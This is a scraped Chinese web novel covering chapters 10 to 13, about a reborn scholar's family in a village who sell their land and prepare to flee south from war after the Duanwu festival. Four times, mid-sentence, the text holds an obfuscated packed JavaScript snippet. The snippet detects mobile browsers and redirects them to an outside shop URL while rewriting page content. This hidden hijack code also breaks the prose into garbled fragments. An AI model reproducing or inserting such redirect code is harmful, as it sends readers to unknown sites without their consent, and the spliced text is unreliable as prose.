“今儿出门定然是没看黄历。”先是被罗家媳妇拖着走,再是被推,她就不该管。 就在这时,她感觉自己落入一个温暖的怀抱之中,很宽阔,瞬间就将她包裹住,空气中还带有一丝熟悉的清香。 她立马就猜到这人是谁,抬眼一看,果然是自家夫君。 “怎么这么不小心。”董伯年眉眼弯弯,盯着自家媳妇,心中微叹,幸好他赶得及。 “嗯......”岑嫣有些羞涩,微微低下头。 她此刻觉得夫君的声音真温柔,真好听,比之前遇到的任何男子的声音都要好听。胸口也忍不住砰砰直跳,许是刚才被推倒吓的,许是现在。 “夫君采到艾叶了么?”岑嫣此刻还是不敢抬头。 “嗯,落在门口呢。”说着,董伯年用手冲远处一指。 岑嫣顺着董伯年指的方向,就看到不远处的地面上散落着艾叶和菖蒲,以及一些不知名的花草,有一样是岑嫣认识的,那花叫金银花,开起花来香气扑鼻。 此时,董仲清正在地上着急忙慌地捡草药,一边捡一边还不忘冲兄长这边瞪。 端午被称为毒日,要用草药煮水来给全家人洗澡,董伯年刚才就是同董仲清一同去山上采草药了。 媳妇被欺负,作为夫君的董伯年自然不能忍,他三两步走上前,直接把罗老实的手臂往后一扣,再补上一脚,罗老实立马摔了个狗啃泥。 他回过头看了一眼,发现是董伯年踹的,他心中虽然有气,想要发作,秀才也不能这么欺负人啊! “你!”罗老实到底还是有几分疑惑。 “怎么,罗老实,你在家威风也就罢了,还敢对我媳妇动手?” 他隐约想起刚才情急之时,似乎是推了一下董秀才家的娘子。 只是,罗老实此刻也顾不得管那许多,他刚才可是把陈大花手中的银子拿到手上了,银子才是最重要的!他连忙冲董伯年和岑嫣道歉。 这才翻了翻身上,却发现银子不见了,随后罗老实立马就注意到地上的银子,旁人也眼尖,自然注意到这银灿灿的银子,那些看好戏的人见到这银子,眼睛立马就亮了。 刚才他们明明看到陈大花收了银子,如今这银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555198|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子从罗老实身上掉下来,那可就耐人寻味了。 此时的陈大花也看到这一幕,她想到刚才闺女被卖时,丈夫是那么的冷漠,现在直接把闺女的买命钱给顺了,她立马激动起来,疯了一样地冲向丈夫。 “枉我当初义无反顾地跟着你!那可是你的女儿,你竟只顾着银钱,你还是人吗?”她声嘶力竭地嘶吼,仿佛要将这十多年的怨气给发泄出来。 罗老实有些不以为意:“那又怎么样,不过一个赔钱货罢了!你一个生不出儿子的破烂玩意儿,还有脸冲我吼?” 说着,罗老实上去就给了陈大花一巴掌,似乎是展现自己作为男人的权威,似乎又是为了出刚才在董伯年那里受的气。 陈大花从未被罗老实这般打过,也从未被罗老实这般说过,她之前一直听着罗老实“宽慰”的话语,以为生了儿子就好了,忍忍熬熬就好了,以后定然能过好。 她费尽心思为自己营造一个美梦,如今这个美梦似乎破了,被这巴掌打破的。 “你竟然打我!” “打的就是你,给你点颜色,你就开起了染坊!老子是你的天,家里的东西都是我说了算,闺女是,你也是!”村里人都在看着,罗老实似乎是为了证明自己的权威,当场打起了老婆。 接下来的闹剧,董伯年却不想让岑嫣再看了。 “咱们回家吧。”董伯年说着,就想拉起岑嫣的手,没想到却被早有防备的岑嫣给躲掉。 “嗯,回去吧,咱们粽子还没包好呢。” 说着,岑嫣转头想叫婆母回家,却不想,婆母和小姑子早就先她一步走回家。 董伯年戏谑一笑:“你看什么呢?” “没,没看什么。” 夫妻两人进了屋子,才发现家里人都在,家里人正盯着他们二人,露出一抹意味深长的笑。 岑嫣见了这笑,有些脸热,立马麻利地洗了手,随后坐到凳子上捡起箬叶,开始专心包粽子。 “嫂嫂,你觉得我大哥咋样?”董繁枝刚才显然看到兄长抱住嫂子的一幕,此时正磕糖呢。 “你大哥,自然是个好人。”刚才还护着她。 “我也觉得!”董繁枝乐呵呵地摇头晃脑,伸手想要跟着包粽子,许慧看着闺女和儿媳妇互动,心里也开心,一家人这样和和美美的就好了。 忽的,许慧又想起买糯米的事情,转而对灶屋里生火的儿子说话:“大郎、二郎,待会儿吃完早饭,你们哥俩去买些糯米回来。” “糯米?”董仲清忽然回忆起上一次买糯米的场景。 他有些忧心:“娘,那糯米上次似乎涨了两文钱,这次去买,也不知道会不会又涨价。” “应该不会吧。”许慧也跟着嘀咕起来,上次糯米涨价的事情,她也是知道的,平时米价多少有个几文的变动,倒不是什么大事。 只是,当董家人吃过午饭,董伯年两兄弟去买米回来,却带回来两大袋米,看着活像是去进货的。 彼时许慧正和闺女儿媳妇在灶房里看火,见到丈夫和儿子带回来两袋大米,她有些诧异。 “你们买了两袋糯米?” “不是糯米,娘,这是大米。”董伯年坐在院子里,用袖口擦了擦额头的汗水。 11. 第 11 章 “买大米作甚?” 许慧有些不解,董家种着地,平日里节省些,刚好够一家人吃,以前可从未去买过米。 “娘,米价上涨的厉害,我和爹商量,买些在家里备着,万一遇到什么,咱们也不至于手足无措。” 听完董伯年的话,许慧有些懵,心里隐隐升起不好的预感。 她急忙追问:“怎么不好了?” 董伯年这才将街上的事情一一说了,原来他们父子几人去到镇上,发现镇上的米价飞涨,粮食铺门前排着长长的队伍。他们几人当即就作出判断,也买些粮食回家。 听完大儿子的话,许慧有些忧心。 “别是真有啥事吧?先是难民,再就是米价上涨......若是真如此,咱们...”接下来的话,许慧却说不出口。 “我与伯年商量过,若是真有什么动静,咱们恐怕也要跟着逃难,唉。” 董承志叹了口气,他面朝黄土背朝天一辈子,是没什么出息。可他生了一个有本事的儿子,儿子不用他忧心,自己打猎挣钱读书,还考上秀才,日后兴许还是举人、进士老爷,可如今遇上战乱,恐怕再没机会。 “逃难?咱们要逃哪里去?” 许慧感觉天都塌了,她一辈子都是生活在这片土地上,有时去买些野菜山货补贴家用,一辈子就是这么过来的。突然跟她说真要逃,她对此一无所知。 想到路边的难民,她有些难过,自己以后也要变成那个模样吗? “往南边逃吧,许是能安全许多。其他消息,我打算去堂安城打听一番,等我在城里打听过再说。” 几人说完话,屋子里陷入一片寂静之中。 岑嫣看着在场众人,包粽子的速度也慢了许多。 董伯年似乎是知道妻子的担忧,给了妻子一个安抚的眼神。 夫妻两人对视之后,表情也变得复杂许多,这其中混杂许多对未来的迷茫与不安。 粽子包好之后,直接放入灶屋中的大锅之中,这口锅平日里专门用来烧热水,家里人洗漱之类的就靠这口锅,如今用来煮粽子倒是正好。 炉灶里的柴火熊熊燃烧,柴被烧的噼里啪啦的响,岑嫣只用火钳略微整理一番,便又往里加上一根干柴。 她转过头看到婆母许慧正在砧板前心不在焉地切着茄子,岑嫣见状,立马上前接过菜刀。 “娘,我来吧。” 许慧的也回过神,勉强挤出一个笑来回应:“行,那就你来吧。” 岑嫣在心中暗暗叹气,要是在往常,麻利的婆母才不会把正在做的活计让别人来做,也是今日这事对她的冲击太大了。 “婆母,这茄子用来做鱼鳞茄子,您看怎么样?”岑嫣试探。 “行,你的手艺好,做什么都好吃。”说着,许慧看了看外面的天色,又道:“你和枝娘做菜,让她给你打下手,我先回屋一会儿。” “哎。” 岑嫣和正在摘菜的董繁枝异口同声地应了。 姑嫂两人配合的倒是相得益彰,中途还有董仲清进灶房来帮忙看火。 岑嫣就问小叔子:“爹和你兄长还没回来吗?” 董承志带着董伯年去找村长说今日镇上的事情。 “还没呢。”说完话,董仲清又往门外跑去,在门口的路上望了一会儿,才跑回来。 回道:“嫂嫂,还没回呢,不过看这天色,估摸着也快了。” “哎!”岑嫣说着,盖上了煮米饭那口锅的锅盖。 她端起米汤问了句:“要喝米汤水不?我给你和枝娘分一分?” 农家柴火灶煮的米饭是要比正常煮饭的比例多许多的,主要是怕米饭煮出来会糊。而且在煮米饭的过程中要经常搅拌,避免受热不均匀。 “我不喝,都给枝娘喝吧,她也能长得快些。”在董仲清看来,这米汤水是用来哄小孩子的玩意儿,如今他已经不是小孩子了,就不必再争什么。 “好啊!都给我,待会儿再加上一点儿白糖,那滋味可真好!”董繁枝甜甜地笑了起来。 “美的你。” 岑嫣看着这姐弟两人的互动,也跟着笑,让董仲清把炒菜炉灶的火也给生起来。 此刻,她手上的动作也十分利落,直接把油放入锅中。 就在这时,闲下来的董仲清一脸八卦地道:“你们猜,我刚才出去看到什么了?” “什么?” 岑嫣头也不抬,把红苋菜给放入锅中,柴火灶的火势很大,蹭蹭地冒着烟和水汽,锅里细小的油星和水花到处飞溅。她早已经做惯了菜,立马用锅铲翻炒。 “隔壁罗家婶子带着两个闺女出门了!” “啊?” 岑嫣和董繁枝都十分震惊,这天都快黑了,一个女人带着两个闺女能去哪?就算是回娘家也没有这么赶的吧? “你可知她们要去哪?可是回娘家?”岑嫣这时才看了小叔子一眼,似乎想要从他脸上看出什么。 “对呀,大丫她?”董繁枝顿住了话音,心中更多的是担忧。 她跟大丫年纪相仿,家离得近,所以时常来往,也算是好友。好友遭逢大变,她心中更多的是惋惜,刚才还想着明日去找大丫说说话的。如今看来,怕是没机会了。 “刚才路上也有几个看热闹的人,问她是不是回娘家,她说娘家容不下她,她不回。” “不回?”一个弱女子,跟丈夫吵架,不回娘家,那是去哪?还带着一个未满周岁的孩子。 “不清楚呢,听说罗老实都没拦着,说是他已经拿了五两银子,准备再找个能生儿子的媳妇呢。” 岑嫣想着罗家媳妇,不免联想到自己。自己也是没有娘家的人,若是日后因为孩子,或者是其他的琐事被夫君嫌弃,也无处可去,那可如何是好? 想着这些,她不免又难过起来。想着白日的事情,罗家儿媳妇跟她借钱的事,罗家夫妻也因为钱的事情吵起来,就连自己,也是因为银钱被卖...... 钱可真是个好东西! 若是自己能偷偷存下银钱,哪怕日后自己被休弃,也能因为银钱有地方可去,甚至能因为银钱而自己自立生活。 她越想越觉得可行,越想越觉得开心,不知不觉就到了晚上吃饭的时间。 董伯年看媳妇心不在焉的模样,还当她是被白日的事情吓的,想着夜里要好好安抚妻子。 “村长怎么说的?”许慧有些好奇。 “村长能怎么?又说我是杞人忧天,还说我一把年纪,竟跟寻常鼠辈一般,胆小怕事。”说起这个,董承志就有些生气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555199|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他怎么感觉村长时不时地要针对他一下。 他可是秀才公的爹,对方好歹给他个面子啊!真是的。 董伯年看老爹吹葫芦瞪眼的模样,觉得有些好笑:“爹,咱们已经将事情跟村长分说过,他不采纳,那就不是咱们的事情了。” 上一世,他也不是没看出什么苗头,但他的想法都被村长给否了,再加上他本人没有决断的勇气,导致他们家丧失了逃生的机会。 如今这一世,他只要求做到能护住自己家人即可,反正他做的任何决定,他只需要告知村人即可。至于他人信不信,那就是他人自己的命了。 他也不必给自己增加什么负担,先护住小家,才能谈天下。家人都没有了,他做的任何事情都将没有意义。 “是这个道理。”董承志又释然了,反正他说过了。 “我今日翻了翻咱们家存下的银钱,大概有十八两。其中一大半都是我跟儿媳妇卖菌子和野菜得的。” 原来今日做晚饭时,许慧想着逃难必定能用上银钱,所以就直接回房间清点银钱。 董家存下的这笔钱其实并不算多,甚至有些少。要知道,在董伯年未受伤之前,家底可是村有五十多两银钱。似董家这般的,可没几户人家,当初李春桃当初也是因为董家的条件好,所以才缠上董家。 董承志面色有些凝重,家里的银钱都是媳妇管着,他平时对这些也没有概念,如今到真正要用钱的时候了,这银钱就显得有些微不足道了。 “那咱们若是真去逃难,这点银钱恐怕不够吧。” “爹,您可别忘了,咱们家还有田地和房子,到时候卖了,也是一笔银钱。” 董伯年说着,就在心里算了一笔账。这地有三亩,都是上等地,能卖三十两。家里住的这木房子,应该也值三十两银钱。合计起来就是六十两,哪怕到时候有人压价,那也能有四五十两银钱。 “真要卖?” 一说到卖地,董承志一时之间有些难以接受。地是他最重视的命根子,他家只有他一个儿子,他是从父辈那里传承下来的三亩地啊,如今真的要断送在他手上了? 他真的成了那个不肖子孙? 看着父亲的脸色,董伯年说不出一个字。他知道父亲对土地的重视程度,可卖地是形式所迫。 “爹,儿子只能告诉您,这战乱定然会打到咱们这,咱们非走不可!”说着,董伯年就跟在场众人说起堂安县的地形,易攻难守,一旦发生动乱,百姓一定遭殃。 而普通民众很可能成为军营的储备资源,所以叛军一旦打到这里,一定会把这里给毁了。 这段时日,董伯年和岑嫣时常给家里人灌输战乱相关的思想,如今家里人似乎能坦然接受这件事了。 在场众人都没有说话,静静地听董伯年分析现在的局势。 吃过晚饭,岑嫣去灶房里看了一会儿火,才洗漱上床。 她刚爬上床,就被一个宽阔的怀抱包裹住,她想要挣脱,却发现这个怀抱跟铁桶似的,怎么挣都挣不开。 “你!” 岑嫣才说出一个字,就被董伯年打断。 “嫣娘,我真的很怕再失去你们。” 董伯年的嗓音沙哑,语气有些沉重,岑嫣感觉热乎乎的,脑袋也晕乎乎的。 12. 第 12 章 岑嫣觉得,夫君定然是被近段日子的事情给吓住了,所以今日夜里才如此反常。 “夫,夫君,你怎么了?” “嫣娘,咱们得快些离开才好。这些时日,我看着咱们镇上都多了许多难民。我真怕,我真怕咱们躲不过去。” 听着夫君的声音,岑嫣觉得有些好笑,原来夫君也不似白日里看的那般沉稳,竟也会害怕。 “没事,咱们都会好好的。爹娘不是说要离开了么?他们既然不反对,估计咱们很快就能离开。” 岑嫣的话音落下许久,空气中只有两人缓慢的呼吸声。 “其实我也不知道咱们具体要去哪里,不知道哪里才是最安全的。我只知道,咱们往南方走才是最安全的。” 岑嫣没想到夫君如此坦诚,这种事情说出来,恐怕家里人都会陷入巨大的恐慌而停滞不前。 想想也是,夫君今年才十七,才大自己三岁。对未来事迷茫些,也十分正常。 她忐忑:“这事,咱们还是瞒着吧,若是爹娘知道,徒增烦恼。” 其实,他们哪怕不说,董承志和许慧恐怕也隐约能够猜到,只是现在的现实情况不允许他们留下。 忽的,岑嫣听到屋外有响动。 “夫君,外面...”岑嫣把音量降低。 自从前些日子有难民进屋偷盗,夜里他们睡觉都会比以往更警醒些。 此时的董伯年坐起身,轻手轻脚地下了床,趴在窗户上观察屋子外的动静。 岑嫣此时也跟着穿上衣裳,悄悄地提起屋内的一根棍子,跟在董伯年身后。 夫妻两人对视一眼没有说话,直接把屋门打开,发现动静是从厨房传出来的,两人轻手轻脚地往厨房走去。 到了厨房门口,发现厨房门果然是打开的,屋内的动静还未停歇,似乎是有人在咀嚼什么东西一般。 董伯年直接往屋内冲,岑嫣则堵在门口,随时准备敲晕屋内跑出来的人。 只是,自董伯年进屋之后,动静并不大,她很快就听到屋内有人求饶的声音。 “求您手下留情,我,我错了!”说话的人是一名女子,腔调稚嫩,似乎年纪并不大。 岑嫣立马进屋用火折子点上油灯,才看到那女子的面孔。 对方穿着破烂,装束着男子的衣裳,头发乱糟糟的,身上还散发着臭味。岑嫣虽然离的远了些,但还是能闻到若有若无的味道。 对方虽是一名女子,看起来并无威胁,董伯年还是用绳子绑上她的双手。 “别绑我啊,我老实的,绝对不会搞什么名堂,您放心好了。”说着,那女子盯着灶上的粽子,又道:“能不能让我吃完那个粽子,我已经饿了好些天没吃饱了。” 看着这女子面黄肌瘦的模样不似作伪,岑嫣道:“既如此,我们先问你话,你交代清楚,我们自然会把吃的给你。” 那女子哀叹,到底不再反抗,老老实实地让岑嫣审问。 董伯年则拿着木棍守在门口。 两人审问过那女子才知道,原来这女子是住在西南山林里的洞族女子,前些日子,她原本想出来闯荡,谁知道到走到了章州就碰上了乱军。 她原本以为自己没了,还好她命大,装死躲过了一劫。只是,她的盘缠全都没了,她只能跟着逃难的难民往南方跑。 一个小女子,在乱民之中难以存活,她只能白天跟着人流赶路,快入夜就往山林里跑。她这般的做法虽然赶路会慢些,但胜在安全。 就这样,她一路躲躲藏藏到了花溪村,今夜她闻到家家户户都有一股子粽子的香味,便猜到已经到了端午节,想着随便进一户人家偷几个粽子,就看到院门大开的董家。 “事情就是这样,我只是想要吃的,没有同伙。”若不是她现在的两手被绑着,她是真的想用手擦泪,太惨了。 见对方一脸诚恳,岑嫣竟有些想帮对方解开,她试探地问:“夫君,要不让她先吃东西?我看着她?” 就在这时,屋外传来脚步声。 “怎么了,我怎么听到厨房有动静,可是发生了什么?”许慧打着哈欠,她明明已经睡下,又听到厨房有动静,这才起床来看。 忽的,她就发现屋内绑着的人,问道:“又有难民跑进家了?” 她抄起厨房的一根棒子,直接往院子里走。那棒子是平日里吹火的火筒棒,省力,打起人来却很疼。 直接就大声吼起来,似乎是给自己壮胆,又似是给那些暗中观察的人一些恐吓。 “我告诉你们,我可不怕你们,再来一个,我们打一个,明日就把你们送官府!” 忽的,许慧就看到院门口隐约有一个人进屋。她躲到门边,等对方进屋,她直接冲上去给了对方一棍子。 随之而来的自然是对方的叫唤。 “哎哟!” “这声音怎么有点熟悉?”许慧喃喃道,像是她家老头子的声音。 那人被敲中后脑,直接应声倒地。这般的声响,自然也惊动岑嫣和董伯年,就连董仲清和董繁枝也走到院中。 “娘,你敲中了人?”岑嫣拿着油灯出了屋,凑上前去看。 “是啊,这人的声音倒是孩儿他爹的声音有些像,若是半夜在屋外叫我们,我们许是会被骗哩。” 董伯年满脸疑惑,真有那么巧的事,他隐隐有些不安,把那人翻过面来查看。 见到那人面孔的许慧吓了一跳:“咋是孩儿他爹,咋回事啊?” 说着,许慧指挥着两个儿子把丈夫扶进屋子,又快速拴上大门。 被扶到床上时,董承志才幽幽转醒。 他虚弱地对着许慧道:“孩儿他娘,你咋敲我啊,还是躲在门边,敲得我好疼。” 许慧有些不知所措,嗫嚅道:“谁知道那人是你,我还以为咱们家又进贼了,那大门都是开的。” “啊?”董承志也有些疑惑,他记得他是掩着门,没开多大啊。不凑近看,根本发现不了。 “我记得我出门的时候掩着门,没开那么大,我回来的时候也觉得奇怪呢。”他当时正想事情呢,要不然也不会没注意到有人暗算他。 忽的岑嫣抓住了重点:“爹,大晚上的,出门干啥?” “对呀,爹,您有啥大事要出门去办?”董仲清也跟着补了一句。 “我这还不是去看田地去了!”原来今日白天,董伯年说要卖房卖地去逃难,董承志心里有些不舍,所以就去夜里就去看田地。 “爹,您白日也可以去看,为啥大晚上去看,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555200|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得被人当成了贼!”董仲清总是知道在关键的时候给人扎心。 董承志一听这话,一时间有些承受不住,拿起旁边的枕头就往董仲清所在的方向砸过去。 董仲清正说的开心呢,一时不察就被父亲这样砸到,还好那枕头砸人并不疼。 “爹!”董仲清到底没敢再说什么。 就在这时,董伯年从院子外巡视回来,刚进屋,就叫弟弟妹妹回屋睡觉,又让岑嫣去看着那厨房里绑着的女子。 岑嫣知道董伯年这是有话要和公婆说,她识趣地捧着油灯往厨房去。 油灯暗黄,光线也十分柔和,倒是倒映出岑嫣的几分柔美来。 那女子见到岑嫣回来,忍不住夸:“姐姐,你好美!我很少见到像你这般好看的女子呢。” 岑嫣忍不住笑:“你莫不是因为想吃东西,所以才夸我吧?” 那姑娘眼珠子转了转,道:“夸你是真心,想吃东西也是真心。” 说着,她忍不住对着岑嫣撒娇:“姐姐,我真的很饿,我保证乖乖听话。我只是想吃东西,保证不做别的什么。” 岑嫣看着对方的模样,不免就想起当初自己逃难的模样,大抵也是这般:穿着破烂,浑身上下脏兮兮的,看着还面黄肌瘦。 “行,你老实些!我只给你解开一会儿,让你吃东西。” “哎!”那姑娘乖巧地伸出手,让岑嫣帮忙解开。 当董伯年和父母谈完话之后,回到厨房找媳妇,就看到这样一幕。 媳妇和那女子聊的很开心,那笑容是他两世都未曾见到过的,他有些好奇,这两人在聊些什么。 只听那女子道:“在我们洞族的寨子里,男女会通过唱山歌确定心意,哪怕是父母也要尊重子女的意愿!” “真是这样吗?之前我还听说西南地区的少数民族会下蛊。” “下蛊?”那女子顿了顿,又继续道:“蛊虫是苗疆那边的民族才会弄的,我们那里没有蛊虫。” 说着,那女子又道:“我们洞族还有很多节日,三五日就要一起过节喝酒,要不然就是跟着我‘不’‘内’走亲戚,喜酒吃都吃不完。” “‘不’?”岑嫣有些疑惑,这是什么称呼。 “哦,这就是父亲母亲的意思,我们民族就是这样叫父亲母亲的。” 岑嫣了然,对那女子所说的地方生起一片向往之情。 她从前也听说过西南地区,古书上说那里就是蛮夷不毛之地,就连官员贬谪都是往那个地方去,听说那边十分落后。没想到如今听来,那边倒是一个十分丰富多彩的地方。 “果然是百闻不如一见啊!” “可不是么,姐姐,我都想带你回我们那去看看了。” 忽的,一阵咳嗽声响起。 岑嫣抬眼一看,就看到门外的漆黑中包裹着一个人 “夫君,你来了?” “嗯。”董伯年看向那名女子,又道:“你这是?” “哦。”岑嫣有些尴尬,她开口解释:“刚才我看文兰实在饿,所以给她解了绳子。” “是啊,你若是要怪,那就怪我吧。” “刚才你说洞族那边的生活?” “是啊,怎么了。”吴文兰满脸戒备。 13. 第 13 章 董伯年和熙地笑道:“没什么,就是想问问你,你们那里欢不欢迎外族人。” “啊?”吴文兰愣住了。 空气凝滞了约莫一刻,她才回:“你家人要逃难?” “嗯,我们想往南方去,只是不知道要去南方的哪里,听说洞族人格外热情,不知道我们可不可以......” 听到这话,吴文兰傲娇起来。 “哼,帮我解开绳子再说。” 说着,她伸出被绑住的手和脚。 董伯年和岑嫣两人只好把吴文兰身上的绳子都解开。 “我要吃粽子,你们得让我先吃饱才行。” 岑嫣只好去那口煮粽子的锅里取出一串粽子,因着煮了一晚上,这时候的粽子还十分热乎。 岑嫣帮忙把粽子剥开,放到碗里,又去橱柜里拿了晚饭剩下的菜,直接给吴文兰摆到面前。 夫妻两人就这样看着这小姑娘大口大口地吃了好几个粽子,他们对视一眼,似乎是在说,这小姑娘的话倒不是假的。 她真是饿了。 等到吃饱之后,吴文兰摸着圆滚滚的肚子:“饿了这么多天,终于能吃上一顿饱。” 她抬头看向两人:“刚才你们问我我们那里好不好客?” 顿了顿,回想着过去寨子里的场景,她继续道:“自然好客,平日里有人去我们那边做客,我们寨子里的人会一起去寨门口用米酒欢迎,我们把这叫做拦路酒,必须喝完了才能走!” “这酒收不收钱啊?”莫不是还要收一笔拦路费?搜刮过往路人的银钱? 吴文兰嫌弃地看了一眼董伯年:“怎么会收钱?我们家家户户都酿的有酒,这都是我们自发欢迎客人而举办的仪式。” “我‘不’特别爱喝酒,我‘内’会特地酿两大坛米酒,三五天喝一点自家酿制的米酒,那味道可真是美味极了。” 提起米酒,吴文兰一脸的怀念,要是她没有离家,此刻应当在家里喝着香醇的米酒,和寨子里的小姐妹穿着洞服,戴着银首饰和花冠去唱歌吧? “唉,真想现在回到家。我‘不’和我‘内’一定很想我。” 她想念故乡的吊脚楼,想念故乡的腌肉,想念折耳根...... 说着说着,她心情开始低落,叹了口气,才道:“若是你们真想去我们寨子,我可以跟我爹说,哪怕他们不欢迎,到底还有我呢。” “真的吗?”岑嫣惊喜,因着要去哪逃难的问题,她已经看着夫君愁了许久,如今有了去处,倒是一件值得开心的事情。 “嗯,不过你们要快些准备,我逃难来的时候,听说有些村被杀光了。看着他们打仗的方向,估计要是打到这里,恐怕也不会太久。” 逃难的路上,吴文兰才算真正见识了人间疾苦,饿殍遍地。幸好这不是灾年,若是灾年,恐怕死的人更多。 “嗯。” 夫妻两人郑重点头。 既然知道逃跑的地点,董伯年自然不必去堂安城打听消息,但还是写了几封信,让人往堂安城送去。 其中有一封信是送到岑嫣舅父家去,这事岑嫣同董伯年商量过,毕竟岑嫣舅父也算是收留过她,不至于让她流落街头,也算是一份恩情,她能通知他们,也算是报恩了。 只是,舅父舅母听不听的进去,那就是他们自己的选择。 关于逃难这事,董父和董母已经达成了一致,他们把家里的房舍田产卖给村里。村长听说这个消息,激动的一宿没睡得着。 终于没人能威胁村长的位置了! 为了方便董家搬家,他还特地给牵了线,就是为了让董家走的安心。 关于逃难这件事,他只觉得董家是脑子出毛病了,董秀才也是读书太多,把脑子读坏了。他家往上数几代人,都是生活在这片土地上的,哪怕碰到几个难民又怎么样,根本碍不着什么事。 当然,这村里有一样想法的也不在少数,他们背地里都笑话董家胆小。 还有那等多管闲事的特地找上董家的门劝说,让董父别听风就是雨,把祖宗的基业给败光了。 好在董承志相信自家儿子,并没有对外松口。 董家的田产房舍被村里一户姓罗的人家买下,这户罗家,说起来还跟董家隔壁的罗家有些沾亲带故的关系,所以他们家才能最早得到董家着急卖田产房舍的消息。 双方讨价还价,罗家想要以五十两买下董家的这些田产房舍,董承志坚持不答应。 “你们这价格也压得太狠了,要知道我们这田产房舍按照市场价卖六十七十两银钱都不止,何况我这地里的东西没收,家里的这些桌椅柜子之类的东西,能买到,那可真是占了大便宜!” 罗老根一想也是这个道理,搓了搓手:“倒不是我不愿意出这六十两银钱,只是我家的现银只有这五十两银,多了,我们家也出不起。” 村长一看这场面僵持许久,眼看这生意要黄,他立马道:“罗老根,你不是还有两辆牛车吗?拿一辆牛车抵上不就好了?” 罗老根一想,对呀他那牛车也值二十两银子,若是抵上牛车,那就只需要拿出四十两银子就成。哪怕是六十两银钱买下董家的这些东西,他都是赚大发了。 要知道,董家也算得上是村里的富裕人家,家里的衣柜桌椅这些家具,都是用的比较好的材料。若是真的拿出去倒手卖掉,他都能赚上一笔。就算是留着给儿孙们做新房,这屋子靠近溪边,平时挑水洗菜洗衣裳都十分方便,直接住上,那可真是舒服。 想到这里,罗老根恨不得直接就住进董家的房子。 “行!那就抵押上我家的一辆牛车,折合纹银二十两,我再出四十两银钱。” 对于能新加一辆牛车的事情,董承志没有异议。牛车可以驮运行礼,到时候他家也可以用得上。 双方意见一致,村长立马帮忙订立契约,当日又火速往衙门赶,想把这事快点定下来。 当拿到官府签字盖章的契纸时,三方都彻底放下心来。 既然拿到银钱,董家人直接上街采购生活用品。 许慧带着闺女董繁枝去布庄买够一家人做衣裳的棉布,岑嫣和董伯年则带着董仲清与吴文兰两人去采买吃食和药品。 走到药铺门口,岑嫣带着吴文兰与董伯年兄弟两人分道扬镳。 考虑到已经是五月里了,再往后的天气肯定格外热,若是在路上中暑生病,那可真得不偿失。岑嫣让大夫帮忙开些清热解暑的药材,又让根据可能的病症,让大夫开了一些预防疾病的药。 等到药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555201|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开好了之后,那名大夫似乎叮嘱道:“年轻人可别乱吃药啊!” 这话倒是让岑嫣和吴文兰有些不好意思,药材又不是糖豆,她们没事吃那些东西干嘛。 刚出门,两人就看到挑着扁担在路上叫卖,吴文兰好奇道:“姐姐,海带是什么啊?” “海带?”从前岑嫣在家中时,倒是听说过海带的名字,托了行商友人的福,她也跟着吃过几次海带。她记得,那海带的味道鲜美极了。 她又问:“哪里有海带?” “那里啊,那个货郎似乎在卖海带,看着他担子上的贝壳倒是好看,奇形怪状的,还有许多种色彩。” 说着,吴文兰往一个方向指去。 岑嫣一见到货郎担子上黑乎乎的条状物,立马就拉着吴文兰往那个方向走。 此刻正是正午时分,卖海带的小贩挑着担子,额头上冒了许多汗水。 他想,若是再没人买,他就真的要回家去躺着了,这海带到时候留着自家吃吧,这次真砸手里了。 “小哥,小哥,你这海带卖吗?”岑嫣三五步就赶上小贩的脚步。 “卖,自然卖,不知客官要买多少?”小贩情绪有些激动,这么多日的叫卖,这是第一个问他买海带的人。 “价钱几何?若是多买,可会便宜些?”岑嫣伸手翻看小贩担子里的海带,成色都还不错。 “一斤十八文,您若是多买,我算您最低一斤十五文。”小贩刚回答完岑嫣的话,也不等岑嫣回,又继续道:“这十五文是我的成本价,再不能少了。” 说着,小贩又叹了口气:“客官,这海带我也算是砸手里了,不能低了。您可别看这东西少,您拿回家一泡,那可不比去集市上的菜少,关键这海带煮汤格外鲜。” 岑嫣微微点头,勾唇笑道:“我知道的,你这海带一斤十五文,我全要了!” 